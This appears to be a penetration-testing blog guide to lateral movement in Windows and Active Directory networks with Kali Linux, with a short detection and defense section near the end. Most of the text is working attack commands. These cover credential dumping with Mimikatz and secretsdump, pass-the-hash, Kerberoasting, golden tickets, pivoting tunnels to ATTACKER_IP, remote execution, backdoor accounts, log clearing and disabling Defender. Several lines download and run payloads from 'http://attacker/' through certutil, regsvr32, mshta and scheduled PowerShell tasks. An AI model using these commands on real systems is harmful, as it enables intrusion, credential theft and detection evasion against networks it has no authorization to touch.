Introduction: The Kill Chain Doesn't Stop at Initial Access
You've gained a foothold — a low-privilege shell on a workstation. Now what?
Initial access is just the beginning. The real target is rarely the first compromised host. It's the domain controller, the file server with customer data, the database with credentials, or the admin workstation with access to critical infrastructure.
Lateral movement is how attackers traverse from Point A (initial compromise) to Point Z (mission objective). It's the phase where:
Credentials are harvested and reused
Trust relationships are abused
Network segmentation is bypassed
Administrative systems are compromised
For defenders, understanding lateral movement is critical. 85% of breaches involve lateral movement, and the average attacker dwells in networks for 21 days before detection.
This guide covers the techniques, tools, and tactics for lateral movement using Kali Linux — from the attacker's perspective, so defenders know what to detect and prevent.
Phase 1: Post-Exploitation Enumeration
Before you move laterally, you need to understand the environment. Where are you? What's nearby? Who has the keys to the kingdom?
Host Enumeration
Discover your current context:
# What user am I?
whoami
id
# What privileges do I have?
sudo -l
# What's on this host?
uname -a
hostname
cat /etc/os-release
# Network information
ip addr show
ip route show
cat /etc/resolv.conf
# Active connections
netstat -antup
ss -antup
Windows equivalent (from compromised Windows host):
# System information
systeminfo
whoami /all
# Network configuration
ipconfig /all
route print
arp -a
# Active connections
netstat -ano
# Running processes
tasklist /v
Network Discovery
Identify other hosts on the network:
# Quick ping sweep (discover live hosts)
nmap -sn 192.168.1.0/24
# Faster with fping
fping -a -g 192.168.1.0/24 2>/dev/null
# Discover hosts without sending packets (passive ARP)
netdiscover -r 192.168.1.0/24 -p
# Check ARP cache for recently contacted hosts
arp -an
ip neigh show
Scan for specific services:
# Find SMB shares (file servers)
nmap -p 445 --open 192.168.1.0/24
# Find RDP servers
nmap -p 3389 --open 192.168.1.0/24
# Find SSH servers
nmap -p 22 --open 192.168.1.0/24
# Find web servers and services
nmap -p 80,443,8080,8443 --open 192.168.1.0/24
Active Directory Enumeration
If you're in a Windows/AD environment:
# Install tools on Kali
sudo apt install ldap-utils enum4linux smbclient crackmapexec
# Enumerate AD without credentials (null session)
enum4linux -a 192.168.1.10
# Get domain information
crackmapexec smb 192.168.1.10 -u '' -p '' --users
crackmapexec smb 192.168.1.10 -u '' -p '' --groups
crackmapexec smb 192.168.1.10 -u '' -p '' --shares
# LDAP enumeration
ldapsearch -x -h 192.168.1.10 -b "DC=corp,DC=local"
From a compromised Windows host with PowerShell:
# Import PowerView (Active Directory reconnaissance)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# Get domain information
Get-Domain
Get-DomainController
# Find all computers in domain
Get-DomainComputer | Select-Object dnshostname, operatingsystem
# Find all users
Get-DomainUser | Select-Object samaccountname, description
# Find domain admins
Get-DomainGroupMember -Identity "Domain Admins"
# Find file shares
Invoke-ShareFinder
# Find computers where domain admin is logged in
Find-DomainUserLocation -UserName "admin"
Phase 2: Credential Harvesting
Lateral movement requires credentials. Here's how attackers collect them.
Technique 1: Memory Dumping with Mimikatz
Mimikatz is the gold standard for credential extraction from Windows memory.
From Kali (after compromising Windows host):
# Upload Mimikatz to compromised host
smbclient //192.168.1.50/C$ -U username
put mimikatz.exe
# Or use msfvenom payload with Mimikatz
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe
# In Metasploit after getting meterpreter session
meterpreter> load kiwi
meterpreter> creds_all
Directly on Windows (if you have access):
# Run Mimikatz
.\mimikatz.exe
# Enable debug privileges
privilege::debug
# Dump credentials from memory
sekurlsa::logonpasswords
# Dump Kerberos tickets
sekurlsa::tickets /export
# Dump cached domain credentials
lsadump::cache
# Dump SAM database (local accounts)
lsadump::sam
Output looks like:
Authentication Id : 0 ; 485797
Session : Interactive from 1
User Name : admin
Domain : CORP
Logon Server : DC01
Logon Time : 12/2/2025 10:30:45 AM
SID : S-1-5-21-123456789-123456789-123456789-500
msv :
[00000003] Primary
* Username : admin
* Domain : CORP
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
That NTLM hash? You can use it directly without cracking it.
Technique 2: Credential Dumping with Impacket
Secretsdump.py remotely dumps credentials from SAM, LSA, and NTDS.dit.
# Dump local credentials (requires admin access)
impacket-secretsdump 'username:[email protected]'
# Dump domain credentials from Domain Controller
impacket-secretsdump 'domain/admin:[email protected]'
# Use NTLM hash instead of password
impacket-secretsdump -hashes :8846f7eaee8fb117ad06bdd830b7586c 'domain/[email protected]'
# Output to file for later use
impacket-secretsdump 'domain/admin:[email protected]' -outputfile domain_creds
Technique 3: Browser Credential Extraction
LaZagne extracts passwords from browsers, email clients, databases, and more.
# Download LaZagne
wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe
# Upload to compromised Windows host
# Run it
.\LaZagne.exe all
# Extract browser credentials
.\LaZagne.exe browsers
# Extract Wi-Fi passwords
.\LaZagne.exe wifi
Technique 4: Keylogging and Clipboard Capture
From Metasploit meterpreter:
# Start keylogger
meterpreter> keyscan_start
# Dump captured keystrokes
meterpreter> keyscan_dump
# Monitor clipboard
meterpreter> load clipboard
meterpreter> clipboard -m
Phase 3: Pass-the-Hash (PtH) Attacks
The concept: You don't need the plaintext password — just the NTLM hash.
Windows authentication protocols (NTLM, Kerberos) use hashes for authentication. If you have the hash, you can authenticate as that user.
Pass-the-Hash with CrackMapExec
# Test credentials across multiple hosts
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'
# Pass-the-hash attack
crackmapexec smb 192.168.1.0/24 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Execute commands on successful authentication
crackmapexec smb 192.168.1.50 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c -x "whoami"
# Dump SAM from remote hosts
crackmapexec smb 192.168.1.50 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c --sam
# Spider shares for sensitive files
crackmapexec smb 192.168.1.50 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c --spider C$ --pattern "*.xlsx"
Pass-the-Hash with Impacket
# Get shell on remote system
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]
# Alternative: wmiexec (stealthier)
impacket-wmiexec -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]
# Alternative: smbexec
impacket-smbexec -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]
# Access SMB shares
impacket-smbclient -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]
Pass-the-Hash with Metasploit
# In Metasploit
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.50
set SMBUser administrator
set SMBPass 8846f7eaee8fb117ad06bdd830b7586c:8846f7eaee8fb117ad06bdd830b7586c
set SMBDomain CORP
exploit
Phase 4: Kerberos Attacks
Technique 1: Kerberoasting
Attack: Request service tickets for accounts with SPNs, then crack them offline.
Why it works: Service account passwords are often weak and tickets are encrypted with the account's password hash.
# From Kali, request TGS tickets
impacket-GetUserSPNs -dc-ip 192.168.1.10 'domain/user:password' -request
# Output saved to file
impacket-GetUserSPNs -dc-ip 192.168.1.10 'domain/user:password' -request -outputfile kerberoast_hashes.txt
# Crack with Hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# Or with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
From compromised Windows host:
# Using Rubeus
.\Rubeus.exe kerberoast /outfile:spn_hashes.txt
# Using PowerView
Invoke-Kerberoast -OutputFormat Hashcat | Export-CSV kerberoast.csv -NoTypeInformation
Technique 2: AS-REP Roasting
Attack: Users with "Do not require Kerberos preauthentication" enabled can have their password hashes extracted.
# Find vulnerable users and extract AS-REP hashes
impacket-GetNPUsers -dc-ip 192.168.1.10 'domain/' -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# Crack with Hashcat
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
Technique 3: Golden Ticket Attack
Attack: Forge Kerberos TGTs using the krbtgt account hash (requires domain admin access first).
# Dump krbtgt hash from DC
impacket-secretsdump 'domain/admin:[email protected]' | grep krbtgt
# Create golden ticket with Mimikatz (on Windows)
# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:NTLM_HASH /ptt
# Use ticket
# Tickets last 10 years by default - complete domain persistence
Technique 4: Silver Ticket Attack
Attack: Forge service tickets using service account hashes.
# Similar to golden ticket but for specific services
# Requires service account hash, not krbtgt
# Example: Create ticket for CIFS service (file shares)
# kerberos::golden /domain:corp.local /sid:S-1-5-21-123456789 /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /user:Administrator /ptt
Phase 5: Pivoting and Tunneling
You've compromised a host, but the juicy targets are on an internal network segment you can't reach directly. Pivoting lets you route traffic through compromised hosts.
Technique 1: SSH Tunneling
# Local port forwarding (access remote service through local port)
ssh -L 8080:internal-server:80 user@compromised-host
# Access internal web server at localhost:8080
# Dynamic port forwarding (SOCKS proxy)
ssh -D 9050 user@compromised-host
# Configure proxychains to use SOCKS proxy
echo "socks4 127.0.0.1 9050" >> /etc/proxychains4.conf
# Route traffic through pivot
proxychains nmap -sT 10.10.10.0/24
proxychains crackmapexec smb 10.10.10.50
Technique 2: Metasploit Pivoting
# Add route through compromised meterpreter session
meterpreter> run autoroute -s 10.10.10.0/24
# Verify routes
meterpreter> run autoroute -p
# Port forward specific service
meterpreter> portfwd add -l 3389 -p 3389 -r 10.10.10.50
# Now RDP to localhost:3389 to reach internal host
# SOCKS proxy through meterpreter
meterpreter> background
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j
# Configure proxychains and pivot
Technique 3: Chisel for Pivoting
Chisel creates fast TCP/UDP tunnels over HTTP secured with SSH.
# On Kali (attacker)
chisel server -p 8000 --reverse
# Upload chisel to compromised host
# On compromised host
./chisel client ATTACKER_IP:8000 R:socks
# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Pivot through compromised host
proxychains nmap -sT 10.10.10.50
Technique 4: Ligolo-ng (Modern Pivoting)
# On Kali
./ligolo-proxy -selfcert
# On compromised host (upload ligolo-agent)
./ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
# In ligolo interface
session 1
start
# Add route on Kali
sudo ip route add 10.10.10.0/24 dev ligolo
# Direct access to internal network
nmap 10.10.10.50
Phase 6: Remote Code Execution Techniques
Technique 1: PsExec-style Execution
# Impacket psexec (creates service, executes command)
impacket-psexec domain/admin:[email protected]
# WMI execution (stealthier, no service creation)
impacket-wmiexec domain/admin:[email protected]
# SMB execution
impacket-smbexec domain/admin:[email protected]
# DCOM execution (uses DCOM objects)
impacket-dcomexec domain/admin:[email protected]
Technique 2: WinRM Exploitation
# Test WinRM access
crackmapexec winrm 192.168.1.50 -u administrator -p 'Password123'
# Get shell via evil-winrm
evil-winrm -i 192.168.1.50 -u administrator -p 'Password123'
# Upload files in evil-winrm session
*Evil-WinRM* PS> upload payload.exe
*Evil-WinRM* PS> .\payload.exe
# Pass-the-hash with evil-winrm
evil-winrm -i 192.168.1.50 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
Technique 3: RDP Hijacking
Hijack other users' RDP sessions (requires SYSTEM privileges).
# From compromised Windows host as SYSTEM
# List active sessions
query user
# Hijack session (no password needed if you're SYSTEM)
tscon TARGET_SESSION_ID /dest:YOUR_SESSION_NAME
Technique 4: Scheduled Task Creation
# Create scheduled task for persistence and execution
impacket-atexec domain/admin:[email protected] "cmd /c calc.exe"
# Or with CrackMapExec
crackmapexec smb 192.168.1.50 -u admin -p 'Password123' -x 'schtasks /create /tn "Update" /tr "C:\temp\payload.exe" /sc onlogon'
Phase 7: Domain Privilege Escalation
BloodHound: Attack Path Mapping
BloodHound visualizes Active Directory relationships to find privilege escalation paths.
# Install BloodHound
sudo apt install bloodhound
# Start neo4j database
sudo neo4j start
# Collect data with SharpHound (on Windows)
# Upload SharpHound.exe to compromised host
.\SharpHound.exe -c All
# Or collect remotely with bloodhound-python
bloodhound-python -u user -p password -d corp.local -dc dc01.corp.local -c All
# Import ZIP into BloodHound GUI
# Analyze shortest path to Domain Admin
Common attack paths BloodHound finds:
User A can RDP to Computer B where Admin C is logged in
User D has GenericAll on Group E which is in Domain Admins
Service account F has DCSync rights
DCSync Attack
Extract all domain credentials without touching the DC.
# Requires Replication permissions (Domain Admin or equivalent)
impacket-secretsdump -just-dc 'domain/admin:[email protected]'
# Extract specific user
impacket-secretsdump -just-dc-user krbtgt 'domain/admin:[email protected]'
# With NTLM hash
impacket-secretsdump -just-dc -hashes :8846f7eaee8fb117ad06bdd830b7586c 'domain/[email protected]'
Phase 8: Maintaining Access and Avoiding Detection
Persistence Techniques
1. Create backdoor user:
# Via Impacket
impacket-addcomputer -computer-name 'BACKDOOR -computer-pass 'P@ssw0rd!' -dc-ip 192.168.1.10 domain/admin:password
# Add to Domain Admins (via compromised DC)
net group "Domain Admins" backdoor /add /domain
2. Golden ticket (long-term persistence):
# Lasts 10 years by default
# See Kerberos section above
3. Scheduled tasks:
crackmapexec smb 192.168.1.50 -u admin -p password -x 'schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/payload.ps1\")" /sc daily /st 09:00'
Covering Tracks
Clear Windows Event Logs:
# Clear all event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Or via CrackMapExec
crackmapexec smb 192.168.1.50 -u admin -p password -x 'wevtutil cl Security'
Disable Windows Defender:
# Disable real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true
# Disable all monitoring
Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true
Timestomping:
# Modify file timestamps to blend in
# In meterpreter
meterpreter> timestomp file.exe -m "01/01/2020 00:00:00"
Detection and Defense Strategies
Understanding lateral movement helps defenders detect it. Here's what to monitor:
Detection Indicators
1. Unusual authentication patterns:
Multiple failed login attempts across hosts
Successful logins at unusual times
Same credentials used across many hosts simultaneously
2. Suspicious tool usage:
Mimikatz, PsExec, Impacket signatures
Uncommon processes:
wmic.exe,psexec.exe,powershell.exewith encoded commands
3. Network anomalies:
Internal port scanning
SMB traffic between workstations (lateral movement)
WMI/WinRM traffic from unexpected sources
4. Kerberos anomalies:
Service ticket requests for dormant accounts
Unusual service ticket requests
Tickets with abnormal lifetimes
Defensive Measures
1. Credential hygiene:
# Implement LAPS (Local Administrator Password Solution)
# Rotate passwords automatically
# Disable NTLM where possible
# Force Kerberos authentication
# Implement tiered administration model
# Separate credentials for workstations vs. servers vs. DCs
2. Network segmentation:
Restrict SMB/RDP/WinRM between workstations
Require jump boxes for administrative access
Implement VLANs and ACLs
3. Monitoring and logging:
# Enable PowerShell logging
# Log all command executions
# Enable Windows Event Forwarding
# Centralize security logs
# Deploy EDR solutions
# Detect suspicious process behavior
4. Application whitelisting:
Block execution of unknown binaries
Prevent Mimikatz, PsExec, etc. from running
Complete Lateral Movement Lab Exercise
Scenario: Small Business Network
Network topology:
- Workstation (192.168.1.100) - Initial compromise
- File Server (192.168.1.50) - Target
- Domain Controller (192.168.1.10) - Ultimate target
Your mission: Pivot from workstation to DC
Step-by-step walkthrough:
1. Enumerate from initial foothold:
# From Kali after compromising workstation
ssh [email protected]
# Enumerate network
nmap -sn 192.168.1.0/24
# Found: 192.168.1.10 (DC), 192.168.1.50 (File Server)
2. Harvest credentials:
# Upload Mimikatz
scp mimikatz.exe [email protected]:/tmp/
# Run Mimikatz
./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Found: admin:Password123
3. Test credentials across network:
# From Kali
crackmapexec smb 192.168.1.0/24 -u admin -p 'Password123'
# Result: admin works on File Server (192.168.1.50)
4. Pivot to File Server:
impacket-wmiexec domain/admin:[email protected]
# Now on File Server, enumerate further
net user /domain
net group "Domain Admins" /domain
5. Find Domain Admin session:
# Check for logged-in Domain Admins
query user
# Found: DA_Admin logged in
6. Dump DA credentials:
# Upload Mimikatz to File Server
# Run and extract DA_Admin credentials
sekurlsa::logonpasswords
# Got: DA_Admin:SuperSecure123
7. Compromise Domain Controller:
# From Kali
impacket-psexec domain/DA_Admin:[email protected]
# Game over - Domain Admin access on DC
8. Establish persistence:
# DCSync to get all hashes
impacket-secretsdump -just-dc domain/DA_Admin:[email protected]
# Create golden ticket for persistence
# Mission accomplished
Essential Kali Tools for Lateral Movement
| Tool | Purpose | Command Example | |------|---------|-----------------| | CrackMapExec | Multi-protocol testing |crackmapexec smb 192.168.1.0/24 -u admin -p password| | Impacket | Protocol implementations |impacket-psexec admin:pass@host| | Mimikatz | Credential extraction |sekurlsa::logonpasswords| | BloodHound | AD attack paths |bloodhound-python -c All| | Evil-WinRM | WinRM exploitation |evil-winrm -i host -u admin -p pass| | Responder | LLMNR/NBT-NS poisoning |responder -I eth0| | Proxychains | Pivoting |proxychains nmap target| | Chisel | Tunneling |chisel client attacker:8000 R:socks|
Common Mistakes and How to Avoid Them
1. Too much noise
Mistake: Scanning entire networks aggressively
Fix: Use stealthy scans, limit scope, blend with normal traffic
2. Not covering tracks
Mistake: Leaving obvious indicators (event logs, running processes)
Fix: Clear logs, use in-memory execution, timestomp files
3. Over-relying on automated tools
Mistake: Running Mimikatz on every host triggers EDR
Fix: Use manual techniques, LOLBAS, and living-off-the-land methods
4. Ignoring operational security
Mistake: Using same IP/tool signatures repeatedly
Fix: Rotate infrastructure, vary techniques, use proxies
5. Not understanding the environment
Mistake: Attacking random hosts without reconnaissance
Fix: Map the network, identify high-value targets, plan attack paths
Advanced: Living Off The Land (LOLBAS)
Use built-in Windows tools to avoid detection:
# Download file with certutil
certutil -urlcache -f http://attacker/payload.exe C:\temp\payload.exe
# Execute with regsvr32
regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll
# Download and execute with mshta
mshta http://attacker/payload.hta
# Background intelligent transfer service (BITS)
bitsadmin /transfer job http://attacker/payload.exe C:\temp\payload.exe
# PowerShell download
powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker/payload.exe', 'C:\temp\payload.exe')"
Final Thoughts: The Art and Science of Lateral Movement
Lateral movement isn't about running tools — it's about understanding trust relationships, authentication protocols, and human behavior. The best attacks:
Blend with normal traffic (use protocols already in use)
Abuse trust by design (use legitimate credentials and tools)
Move slowly and deliberately (avoid mass scanning and loud attacks)
Prioritize stealth over speed (persistence beats detection)
For red teamers and pentesters: These techniques simulate real attackers. Your goal is to find weaknesses before adversaries do.
For defenders and blue teamers: Understanding these techniques is essential. You can't defend against what you don't understand. Focus on:
Credential hygiene and rotation
Network segmentation
Behavioral detection
Endpoint visibility and monitoring
Lateral movement is where breaches succeed or fail. Master it, and you control the network — whether you're attacking or defending.
Connect & Stay Updated
Want more advanced penetration testing, threat intelligence, and defensive strategies? Follow CyberHawk across platforms:
🎥 YouTube: @cyberhawkconsultancy
🎵 TikTok: @cyberhawkthreatintel
🐦 X (Twitter): @cyberhawkintel
📱 Telegram: @cyberhawkthreatintel
#cyberhawkthreatintel #cyberhawkconsultancy
Know the attacker's playbook. Master the network. Defend with intelligence.